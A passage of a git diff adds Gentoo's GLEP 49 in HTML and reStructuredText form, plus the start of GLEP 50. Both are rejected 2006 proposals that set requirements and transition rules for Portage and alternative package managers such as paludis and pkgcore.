+<li><a class="reference" href="#secondary-package-manager-requirements" id="id16" name="id16">Secondary package manager requirements</a></li>
+<li><a class="reference" href="#third-party-package-manager-requirements" id="id17" name="id17">Third party package manager requirements</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#transition-phases" id="id18" name="id18">Transition phases</a><ul>
+<li><a class="reference" href="#primary-package-manager-transition-phase" id="id19" name="id19">Primary package manager transition phase</a></li>
+<li><a class="reference" href="#secondary-package-manager-to-candidate-primary-package-manager-transition" id="id20" name="id20">Secondary package manager to candidate primary package manager transition</a></li>
+<li><a class="reference" href="#third-party-to-other-transition" id="id21" name="id21">Third party to other transition</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#references" id="id22" name="id22">References</a></li>
+<li><a class="reference" href="#copyright" id="id23" name="id23">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="status" name="status">Status</a></h1>
+<p>The council rejected this GLEP in favor of starting from a package manager
+API and requiring Gentoo package managers in the tree to support that
+API.  (That API is still pending, however.)</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP describes four classes of package managers. What the requirements for
+them are, and what support they can receive.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="motivation" name="motivation">Motivation</a></h1>
+<p>To set a standard that package managers that seek Gentoo project approval and
+support should adhere to.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="rationale" name="rationale">Rationale</a></h1>
+<p>Currently Portage is  showing its age. The  code of Portage does not  seem to be
+salvageable for new versions. As of the date of publication, there are two known
+alternative package managers that claim  a level of Portage compatibility. These
+alternatives  are  <a class="reference" href="http://paludis.berlios.de/">paludis</a> <a class="footnote-reference" href="#id1" id="id2" name="id2">[1]</a> and  <a class="reference" href="http://gentooexperimental.org/~ferringb/bzr/pkgcore/">pkgcore</a> <a class="footnote-reference" href="#id3" id="id4" name="id4">[2]</a>.   Before  these alternatives  are
+developed further, a  set of rules should be created to  level the playing field
+and ensuring that decisions can be made clearly.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not a problem for this GLEP. There is no previous standard as the issue did not
+exist before. This GLEP is to prevent future compatibility issues.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="categories-of-package-managers" name="categories-of-package-managers">Categories of package managers</a></h1>
+<p>We distinguish four categories of package managers. While a package manager can
+transition from one category to another, it can not be in two categories at the
+same time. It can be in a state of transition though.</p>
+<dl class="docutils">
+<dt><em>Primary Package Manager</em></dt>
+<dd>There  is one primary  package manager.  Currently this  position is  held by
+Portage.  The primary  package manager  is assigned  by the  council  and all
+packages in the official tree must be installable by a usable version of the
+primary package manager.</dd>
+<dt><em>Candidate Primary Package Managers</em></dt>
+<dd>A candidate  Primary Package Manager does  aim, or show an  aim, at replacing
+the current primary package manager. At  a point where the package manager is
+deemed stable  a decision  must be made  whether this package  manager should
+become the  new primary package manager.  At that point  the <a class="reference" href="#primary-package-manager-transition-phase">Primary package
+manager transition phase</a> starts.</dd>
+<dt><em>Secondary Package Managers</em></dt>
+<dd><p class="first">A  secondary package  manager is  a package  manager that  coexists  with the
+primary package manager, while not aiming to replace it.  Examples of package
+managers that would fall into this category are:</p>
+<ul class="last simple">
+<li>Experimental package managers. Package managers  whose purpose it is to try
+out new features.</li>
+<li>Focused package  managers. For example  a package manager that  allows the
+use of RPM formatted binary packages would be an example.</li>
+<li>Alternate package managers.  Package managers that aim to  coexist with the
+primary  package  manager.  They  might  for example  offer  a  nicer  user
+interface  than the primary  package manager  (e.g. show  a cow  instead of
+compilation messages).</li>
+</ul>
+</dd>
+<dt><em>Third Party Package Managers</em></dt>
+<dd>A third party  package manager is any package  manager that lacks recognition
+from Gentoo as being in any other category. A third party package manager may
+or may not have a Gentoo package, but is not supported beyond that.</dd>
+</dl>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="package-manager-requirements" name="package-manager-requirements">Package manager requirements</a></h1>
+<p>As  a  package  manager is  in  a  state  of  higher  support there  are  higher
+requirements to it. The purpose of  these requirements is to ensure the unity of
+the distribution and the package tree.  For this purpose it is needed that there
+is only one primary package manager. This is from gentoo's perspective. From a
+user perspective it is perfectly possible to use another package
+manager. Candidate primary package managers and secondary package managers are
+also supported in regards to bugs etc.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id14" id="primary-package-manager-requirements" name="primary-package-manager-requirements">Primary package manager requirements</a></h2>
+<p>The primary package  manager is the package manager that  sets the standards for
+the  tree. All  ebuilds  in the  tree  must function  with  the primary  package
+manager. As  the primary package manager sets  the standard it does  not have to
+maintain compatibility with other package  managers. This does not mean that the
+actual implementation is the standard, but that the maintainers have the ability
+to define new standards, together with the other involved gentoo projects.</p>
+<p>The primary package manager does however have the responsibility that it must be
+very stable.  The primary package  manager must maintain compatibility  with old
+versions of itself  for extended periods of time. This  compatibility time is set
+by the council. The  suggested time would be one year from  the point that there
+is a compatible stable version for all supported architectures.</p>
+<p>Another compatibility  requirement for the  primary package manager is  a limited
+forward  compatibility.  It must  always  be  possible  to transition  from  the
+unstable version of the primary package manager to a stable version. This may be
+done either by first introducing reading compatibility for a new format and only
+having write support  later. Another way would be the  provision of a conversion
+tool that ensures that the on disk information maintained by the package manager
+is supported by the stable package manager.</p>
+<p>The primary package manager maintainers further have the responsibility to allow
+competition. This means that reasonable patches from the maintainers of
+secondary or candidate primary package managers must be applied, given that
+these patches are as independent of that package manager as possible.</p>
+<p>The primary package manager is maintained on official Gentoo infrastructure,
+under control of Gentoo developers.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id15" id="candidate-primary-package-manager-requirements" name="candidate-primary-package-manager-requirements">Candidate primary package manager requirements</a></h2>
+<p>A  candidate  primary  package  manager  aims to  replace  the  primary  package
+manager.  The council  is responsible  for deciding  whether this  is  done. The
+requirements are  there to ensure that  it is actually possible  to transition a
+candidate primary package manager into the primary package manager.</p>
+<p>First of all,  there must exist a  transition path. This means that  the on disk
+data of  the primary package manager  can be used  by (or converted to  a format
+usable by) the candidate primary package manager.</p>
+<p>Second, there  must be a test  path. It must  be possible for the  developers to
+test out  the candidate primary package  manager on their  working systems. This
+means that  the transition path  must exist. This  also means that there  are no
+serious obstacles  for reverting  to the current  primary package  manager. This
+reverting must  also be usable  when it is  decided that the candidate  will not
+become primary package manager, for example because serious design flaws or bugs
+were  found. Ideally,  the Candidate  Primary  Package Manager  and the  Primary
+Package Manager can be installed simultaneously. If not, clear instructions must
+be provided for both ways of transitioning.</p>
+<p>Third, there  must exist an ebuild test  path.  It must be  possible for package
+managers  to test  ebuilds in  one tree  for  both the  primary as  well as  the
+candidate primary package manager. It is not an issue if this requires a special
+mode for  the candidate primary  package manager. It  is not an issue  either if
+compatibility can be  achieved by having the candidate primary package manager
+unmerge the package.</p>
+<p>Fourth, there must  be support. This means that the  package manager is actively
+maintained  under  control  of  Gentoo.  If  it  is  not  maintained  on  Gentoo
+infrastructure, the  means must be there  to move the package  manager, with its
+change history, to Gentoo infrastructure.  This means that it must be maintained
+on a  Gentoo supported versioning system,  or on a version  system whose history
+can be converted to a Gentoo supported versioning system.</p>
+<p>Fifth,  release capabilities.   There must  exist automated  tools that  use the
+candidate  primary package  manager to  create release  media that  have similar
+capabilities as those released using  the old primary package manager. The exact
+requirements are determined  by the Release Engineering project,  but should not
+be significantly beyond what is  currently implemented using the primary package
+manager.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id16" id="secondary-package-manager-requirements" name="secondary-package-manager-requirements">Secondary package manager requirements</a></h2>
+<p>A secondary package manager is a package manager that instead of directly aiming
+at replacing the current primary package manager as primary package manager aims
+to  cooperate with the  primary package  manager.  As  such a  secondary package
+manager does not set  the standard on the tree, but follows  the standard set by
+the primary package manager.</p>
+<p>There are two  kinds of secondary package managers. The first  kind is formed by
+those that do  not maintain their own installed package  database, but work with
+the  package  database of  the  primary  package  manager. While  these  package
+managers  can put  additional information  in the  database, these  entries must
+remain compatible  with the  primary package managers.  Verification, reference,
+and deinstallation by the primary package manager must remain functional.</p>
+<p>The second  kind is  formed by  those package managers  that maintain  their own
+package database,  or a package  database incompatible with the  primary package
+manager. To ensure  the secondary role of these package  managers the support in
+the tree for these package managers is provided along with restrictions.</p>
+<p>The first restriction is that no packages in the tree must rely on the secondary
+package  manager. While packages  may provide  a level  of support  (while being
+compatible  with  the  primary  package  manager)  this  may  not  result  in  a
+significant increase  of features.  If this  were allowed, this  would mean that
+while they  technically work  with the primary  package manager, there  would be
+significant incentive to  use the secondary package manager. As  the use of this
+secondary  package manager  disallows the  parallel use  of the  primary package
+manager, this would result in users using the secondary package manager as their
+primary package manager.</p>
+<p>Users are allowed to make their own  choices. However by making the tree favour a
+package manager that  is not the primary package manager, this  will lead to the
+secondary  package manager becoming  the effective  primary package  manager. As
+this will be a decision by default  instead of a conscious choice by the council,
+this is an undesirable result.</p>
+<p>There is  one exclusion for the restriction  of packages that only  work with or
+have  significant  improvements with  the  secondary  package  manager. That  is
+packages  that by  their  nature are  only  usable with  this secondary  package
+manager.   An example would  be a  graphical front-end  to the  secondary package
+manager.</p>
+<p>If a secondary  package manager works along the primary  package manager, but by
+itself does not have the capabilities  of becoming a primary package manager the
+risks of choice by  default are lower. As a result, the  council could choose to
+allow the inclusion of packages that work only or significantly better with this
+secondary  package manager.  For example  at a  point where  there is  a stable,
+functional, package  manager that  can handle RPM  format packages,  the council
+could decide  to include these packages  directly in the tree,  instead of using
+wrapper  scripts  for  those  packages   that  are  only  provided  in  the  RPM
+format. Such a  decision does imply that the maintainers  of the primary package
+manager must take this secondary package manager into account.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id17" id="third-party-package-manager-requirements" name="third-party-package-manager-requirements">Third party package manager requirements</a></h2>
+<p>A third party package manager is just  that. It is a package manager without any
+support within Gentoo. As there is no control by Gentoo over the package manager
+this means that there are no requirements on the package manager.</p>
+<p>This complete  lack of control however  also translates to the  fact that Gentoo
+can  not  make  package  manager   specific  changes  to  support  this  package
+manager. Package manager  specific means that it is  possible to request changes
+that  make the  tree  more independent  of  the primary  package manager.  These
+changes must however be agnostic of the package manager, and only make it easier
+to have alternative package managers.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="transition-phases" name="transition-phases">Transition phases</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id19" id="primary-package-manager-transition-phase" name="primary-package-manager-transition-phase">Primary package manager transition phase</a></h2>
+<p>A  candidate primary package  manager can  be chosen  to become  primary package
+manager. This  can only happen by  council decision.  This decision  can only be
+made  when  the  candidate primary  package  manager  is  stable on  all  stable
+architectures.  (all  architectures  except   experimental  ones).  There  is  a
+incubation  period of  at  least 3  months  before a  candidate primary  package
+manager can become the primary package manager.</p>
+<p>After the  decision has been  made to replace  the primary package  manager, the
+transition phase starts.  The use of  the old stable package manager must remain
+supported  for a  period of  6 months.  This means  that core  packages  must be
+installable  by this  package manager.  Further the  possibility to  convert the
+system automatically to the new primary package manager must be available for at
+least  18 months,  but  preferably  longer (enable  installing  the new  package
+manager from the old one).</p>
+<p>During the  transition phase packages are allowed  in the tree that  use the new
+features of the  new primary package manager. While  backward compatibility with
+the previous primary package manager  must be maintained a forward compatibility
+is no longer needed.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id20" id="secondary-package-manager-to-candidate-primary-package-manager-transition" name="secondary-package-manager-to-candidate-primary-package-manager-transition">Secondary package manager to candidate primary package manager transition</a></h2>
+<p>The  transition from  secondary  package manager  to  candidate primary  package
+manager  is straightforward.  The  secondary package  manager  must satisfy  all
+requirements  for  a  candidate  primary  package manager.  At  that  point  its
+maintainers can announce that they  are changing the status to candidate primary
+package manager.  This allows  a greater support  from Gentoo in  achieving that
+goal.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id21" id="third-party-to-other-transition" name="third-party-to-other-transition">Third party to other transition</a></h2>
+<p>When a third party package manager wants to transition into one of the other
+categories (except primary package manager) it must satisfy all requirements for
+that category.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id22" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id1">[1]</a></td><td><a class="reference" href="http://paludis.berlios.de/">http://paludis.berlios.de/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="id3">[2]</a></td><td><a class="reference" href="http://gentooexperimental.org/~ferringb/bzr/pkgcore/">http://gentooexperimental.org/~ferringb/bzr/pkgcore/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6" name="id5">[3]</a></td><td><a class="reference" href="http://www.opencontent.org/openpub/">http://www.opencontent.org/openpub/</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id23" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document is copyright 2006 by Paul de Vrieze and licensed under the
+<a class="reference" href="http://www.opencontent.org/openpub/">Open Publication License</a> <a class="footnote-reference" href="#id5" id="id6" name="id6">[3]</a>.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0049.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0049.txt b/xml/htdocs/proj/en/glep/glep-0049.txt
new file mode 100644
index 00000000..3ed9942d
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0049.txt
@@ -0,0 +1,314 @@
+GLEP: 49
+Title: Alternative Package Manager requirements
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2006/09/05 20:54:30 $
+Author:	Paul de Vrieze <pauldv@gentoo.org>,
+Status: Rejected
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 18-May-2006
+Post-History: 19-May-2006, 6-Sep-2006
+
+Status
+======
+
+The council rejected this GLEP in favor of starting from a package manager
+API and requiring Gentoo package managers in the tree to support that
+API.  (That API is still pending, however.)
+
+
+Abstract
+========
+
+This GLEP describes four classes of package managers. What the requirements for
+them are, and what support they can receive.
+
+
+Motivation
+==========
+
+To set a standard that package managers that seek Gentoo project approval and
+support should adhere to.
+
+
+Rationale
+=========
+
+Currently Portage is  showing its age. The  code of Portage does not  seem to be
+salvageable for new versions. As of the date of publication, there are two known
+alternative package managers that claim  a level of Portage compatibility. These
+alternatives  are  `paludis`_ and  `pkgcore`_.   Before  these alternatives  are
+developed further, a  set of rules should be created to  level the playing field
+and ensuring that decisions can be made clearly.
+
+
+Backwards Compatibility
+=======================
+
+Not a problem for this GLEP. There is no previous standard as the issue did not
+exist before. This GLEP is to prevent future compatibility issues.
+
+
+Categories of package managers
+==============================
+
+We distinguish four categories of package managers. While a package manager can
+transition from one category to another, it can not be in two categories at the
+same time. It can be in a state of transition though.
+
+*Primary Package Manager*  
+   There  is one primary  package manager.  Currently this  position is  held by
+   Portage.  The primary  package manager  is assigned  by the  council  and all
+   packages in the official tree must be installable by a usable version of the
+   primary package manager.
+
+*Candidate Primary Package Managers*
+   A candidate  Primary Package Manager does  aim, or show an  aim, at replacing
+   the current primary package manager. At  a point where the package manager is
+   deemed stable  a decision  must be made  whether this package  manager should
+   become the  new primary package manager.  At that point  the `Primary package
+   manager transition phase`_ starts.
+
+*Secondary Package Managers*
+   A  secondary package  manager is  a package  manager that  coexists  with the
+   primary package manager, while not aiming to replace it.  Examples of package
+   managers that would fall into this category are:
+
+   - Experimental package managers. Package managers  whose purpose it is to try
+     out new features.
+
+   - Focused package  managers. For example  a package manager that  allows the
+     use of RPM formatted binary packages would be an example.
+
+   - Alternate package managers.  Package managers that aim to  coexist with the
+     primary  package  manager.  They  might  for example  offer  a  nicer  user
+     interface  than the primary  package manager  (e.g. show  a cow  instead of
+     compilation messages).
+
+
+*Third Party Package Managers*
+   A third party  package manager is any package  manager that lacks recognition
+   from Gentoo as being in any other category. A third party package manager may
+   or may not have a Gentoo package, but is not supported beyond that.
+
+
+Package manager requirements
+============================
+
+As  a  package  manager is  in  a  state  of  higher  support there  are  higher
+requirements to it. The purpose of  these requirements is to ensure the unity of
+the distribution and the package tree.  For this purpose it is needed that there
+is only one primary package manager. This is from gentoo's perspective. From a
+user perspective it is perfectly possible to use another package
+manager. Candidate primary package managers and secondary package managers are
+also supported in regards to bugs etc.
+
+
+Primary package manager requirements
+------------------------------------
+
+The primary package  manager is the package manager that  sets the standards for
+the  tree. All  ebuilds  in the  tree  must function  with  the primary  package
+manager. As  the primary package manager sets  the standard it does  not have to
+maintain compatibility with other package  managers. This does not mean that the
+actual implementation is the standard, but that the maintainers have the ability
+to define new standards, together with the other involved gentoo projects.
+
+The primary package manager does however have the responsibility that it must be
+very stable.  The primary package  manager must maintain compatibility  with old
+versions of itself  for extended periods of time. This  compatibility time is set
+by the council. The  suggested time would be one year from  the point that there
+is a compatible stable version for all supported architectures.
+
+Another compatibility  requirement for the  primary package manager is  a limited
+forward  compatibility.  It must  always  be  possible  to transition  from  the
+unstable version of the primary package manager to a stable version. This may be
+done either by first introducing reading compatibility for a new format and only
+having write support  later. Another way would be the  provision of a conversion
+tool that ensures that the on disk information maintained by the package manager
+is supported by the stable package manager.
+
+The primary package manager maintainers further have the responsibility to allow
+competition. This means that reasonable patches from the maintainers of
+secondary or candidate primary package managers must be applied, given that
+these patches are as independent of that package manager as possible.
+
+The primary package manager is maintained on official Gentoo infrastructure,
+under control of Gentoo developers.
+
+
+Candidate primary package manager requirements
+------------------------------------------------
+
+A  candidate  primary  package  manager  aims to  replace  the  primary  package
+manager.  The council  is responsible  for deciding  whether this  is  done. The
+requirements are  there to ensure that  it is actually possible  to transition a
+candidate primary package manager into the primary package manager.
+
+First of all,  there must exist a  transition path. This means that  the on disk
+data of  the primary package manager  can be used  by (or converted to  a format
+usable by) the candidate primary package manager.
+
+Second, there  must be a test  path. It must  be possible for the  developers to
+test out  the candidate primary package  manager on their  working systems. This
+means that  the transition path  must exist. This  also means that there  are no
+serious obstacles  for reverting  to the current  primary package  manager. This
+reverting must  also be usable  when it is  decided that the candidate  will not
+become primary package manager, for example because serious design flaws or bugs
+were  found. Ideally,  the Candidate  Primary  Package Manager  and the  Primary
+Package Manager can be installed simultaneously. If not, clear instructions must
+be provided for both ways of transitioning.
+
+Third, there  must exist an ebuild test  path.  It must be  possible for package
+managers  to test  ebuilds in  one tree  for  both the  primary as  well as  the
+candidate primary package manager. It is not an issue if this requires a special
+mode for  the candidate primary  package manager. It  is not an issue  either if
+compatibility can be  achieved by having the candidate primary package manager
+unmerge the package.
+
+Fourth, there must  be support. This means that the  package manager is actively
+maintained  under  control  of  Gentoo.  If  it  is  not  maintained  on  Gentoo
+infrastructure, the  means must be there  to move the package  manager, with its
+change history, to Gentoo infrastructure.  This means that it must be maintained
+on a  Gentoo supported versioning system,  or on a version  system whose history
+can be converted to a Gentoo supported versioning system.
+
+Fifth,  release capabilities.   There must  exist automated  tools that  use the
+candidate  primary package  manager to  create release  media that  have similar
+capabilities as those released using  the old primary package manager. The exact
+requirements are determined  by the Release Engineering project,  but should not
+be significantly beyond what is  currently implemented using the primary package
+manager.
+
+
+Secondary package manager requirements
+--------------------------------------
+
+A secondary package manager is a package manager that instead of directly aiming
+at replacing the current primary package manager as primary package manager aims
+to  cooperate with the  primary package  manager.  As  such a  secondary package
+manager does not set  the standard on the tree, but follows  the standard set by
+the primary package manager.
+
+There are two  kinds of secondary package managers. The first  kind is formed by
+those that do  not maintain their own installed package  database, but work with
+the  package  database of  the  primary  package  manager. While  these  package
+managers  can put  additional information  in the  database, these  entries must
+remain compatible  with the  primary package managers.  Verification, reference,
+and deinstallation by the primary package manager must remain functional.
+
+The second  kind is  formed by  those package managers  that maintain  their own
+package database,  or a package  database incompatible with the  primary package
+manager. To ensure  the secondary role of these package  managers the support in
+the tree for these package managers is provided along with restrictions.
+
+The first restriction is that no packages in the tree must rely on the secondary
+package  manager. While packages  may provide  a level  of support  (while being
+compatible  with  the  primary  package  manager)  this  may  not  result  in  a
+significant increase  of features.  If this  were allowed, this  would mean that
+while they  technically work  with the primary  package manager, there  would be
+significant incentive to  use the secondary package manager. As  the use of this
+secondary  package manager  disallows the  parallel use  of the  primary package
+manager, this would result in users using the secondary package manager as their
+primary package manager.
+
+Users are allowed to make their own  choices. However by making the tree favour a
+package manager that  is not the primary package manager, this  will lead to the
+secondary  package manager becoming  the effective  primary package  manager. As
+this will be a decision by default  instead of a conscious choice by the council,
+this is an undesirable result.
+
+There is  one exclusion for the restriction  of packages that only  work with or
+have  significant  improvements with  the  secondary  package  manager. That  is
+packages  that by  their  nature are  only  usable with  this secondary  package
+manager.   An example would  be a  graphical front-end  to the  secondary package
+manager.
+
+If a secondary  package manager works along the primary  package manager, but by
+itself does not have the capabilities  of becoming a primary package manager the
+risks of choice by  default are lower. As a result, the  council could choose to
+allow the inclusion of packages that work only or significantly better with this
+secondary  package manager.  For example  at a  point where  there is  a stable,
+functional, package  manager that  can handle RPM  format packages,  the council
+could decide  to include these packages  directly in the tree,  instead of using
+wrapper  scripts  for  those  packages   that  are  only  provided  in  the  RPM
+format. Such a  decision does imply that the maintainers  of the primary package
+manager must take this secondary package manager into account.
+
+
+Third party package manager requirements
+----------------------------------------
+
+A third party package manager is just  that. It is a package manager without any
+support within Gentoo. As there is no control by Gentoo over the package manager
+this means that there are no requirements on the package manager.
+
+This complete  lack of control however  also translates to the  fact that Gentoo
+can  not  make  package  manager   specific  changes  to  support  this  package
+manager. Package manager  specific means that it is  possible to request changes
+that  make the  tree  more independent  of  the primary  package manager.  These
+changes must however be agnostic of the package manager, and only make it easier
+to have alternative package managers.
+
+
+Transition phases
+=================
+
+Primary package manager transition phase
+----------------------------------------
+
+A  candidate primary package  manager can  be chosen  to become  primary package
+manager. This  can only happen by  council decision.  This decision  can only be
+made  when  the  candidate primary  package  manager  is  stable on  all  stable
+architectures.  (all  architectures  except   experimental  ones).  There  is  a
+incubation  period of  at  least 3  months  before a  candidate primary  package
+manager can become the primary package manager.
+
+After the  decision has been  made to replace  the primary package  manager, the
+transition phase starts.  The use of  the old stable package manager must remain
+supported  for a  period of  6 months.  This means  that core  packages  must be
+installable  by this  package manager.  Further the  possibility to  convert the
+system automatically to the new primary package manager must be available for at
+least  18 months,  but  preferably  longer (enable  installing  the new  package
+manager from the old one).
+
+During the  transition phase packages are allowed  in the tree that  use the new
+features of the  new primary package manager. While  backward compatibility with
+the previous primary package manager  must be maintained a forward compatibility
+is no longer needed.
+
+
+Secondary package manager to candidate primary package manager transition
+-------------------------------------------------------------------------
+
+The  transition from  secondary  package manager  to  candidate primary  package
+manager  is straightforward.  The  secondary package  manager  must satisfy  all
+requirements  for  a  candidate  primary  package manager.  At  that  point  its
+maintainers can announce that they  are changing the status to candidate primary
+package manager.  This allows  a greater support  from Gentoo in  achieving that
+goal.
+
+
+Third party to other transition
+-------------------------------
+
+When a third party package manager wants to transition into one of the other
+categories (except primary package manager) it must satisfy all requirements for
+that category.
+
+
+References
+==========
+
+.. _paludis: http://paludis.berlios.de/
+.. _pkgcore: http://gentooexperimental.org/~ferringb/bzr/pkgcore/
+.. _Open Publication License: http://www.opencontent.org/openpub/
+
+
+Copyright
+=========
+
+This document is copyright 2006 by Paul de Vrieze and licensed under the
+`Open Publication License`_.
+
+
diff --git a/xml/htdocs/proj/en/glep/glep-0050.html b/xml/htdocs/proj/en/glep/glep-0050.html
new file mode 100644
index 00000000..358dad8a
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0050.html
@@ -0,0 +1,140 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 50 -- Supporting alternative package managers</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0050.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">50</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Supporting alternative package managers</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.3</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0050.txt?cvsroot=gentoo">2006/09/05 20:54:30</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Rejected</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">22-May-2006</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">15-Jun-2006, 6-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id2" name="id2">Status</a></li>
+<li><a class="reference" href="#abstract" id="id3" name="id3">Abstract</a></li>
+<li><a class="reference" href="#specification" id="id4" name="id4">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id5" name="id5">Rationale</a></li>
+<li><a class="reference" href="#notes" id="id6" name="id6">Notes</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id8" name="id8">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="status" name="status">Status</a></h1>
+<p>The council rejected this GLEP in favor of starting from a package manager
+API and requiring Gentoo package managers in the tree to support that
+API.  (That API is still pending, however.)</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="abstract" name="abstract">Abstract</a></h1>
+<p>To support alternatives to the official package manager (portage, at the time
+of this writing), some sane ground rules need to be set.  Specifically, no
+alternative ebuild-based package manager may be added to the tree unless it
+successfully works with all ebuilds supported by the official package manager.
+Moreover, no ebuilds may be added to the tree unless they are supported
+(without change) by the official package manager.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="specification" name="specification">Specification</a></h1>
+<ul class="simple">
+<li>No alternative ebuild-based package manager may be added
+to the tree unless it successfully works with all ebuilds supported by
+the official package manager.  If an alternative package manager is
+runtime incompatible with the official package manager, then it
+must be masked and provide appropriate warnings.</li>
+<li>No ebuilds may be added to the tree unless they are supported
+(without change) by the official package manager.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="rationale" name="rationale">Rationale</a></h1>
+<p>The first rule sets a reasonable bar for adding an alternative package
+manager to the tree.  Note that if an ebuild currently in the tree
+doesn't work with the official package manager, it isn't expected to
+work with an alternative package manager either.  The second rule
+ensures that an alternative package manager cannot become a de-facto
+requirement by supporting packages that the official package manager
+cannot handle.</p>
+<p>In order to keep this proposal as simple and focused as possible, it has
+nothing to say about the process by which an alternative package manager
+might one day become the official package manager.  It is assumed that
+sanity will reign, and no package manager will become official without
+being able to build installation media, providing a transition path from
+or to the existing official package manager, etcetera.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="notes" name="notes">Notes</a></h1>
+<ul class="simple">
+<li>An early criticism of this GLEP was that it fails to address eclasses and
+profiles.  As far as eclasses are concerned, my view is that the above rules
+suffice, since eclasses only matter in their use in ebuilds.  If a package
+manager can effectively process all ebuilds, then it must be handling the
+eclasses successfully, too.  Profiles, on the other hand, are not addressed
+here even implicitly.</li>
+<li>Assuming the ebuild specification is successfully finished, then the
+first rule should really replace &quot;all ebuilds supported by the official
+package manager&quot; with &quot;all ebuilds that satisfy the ebuild spec&quot;.
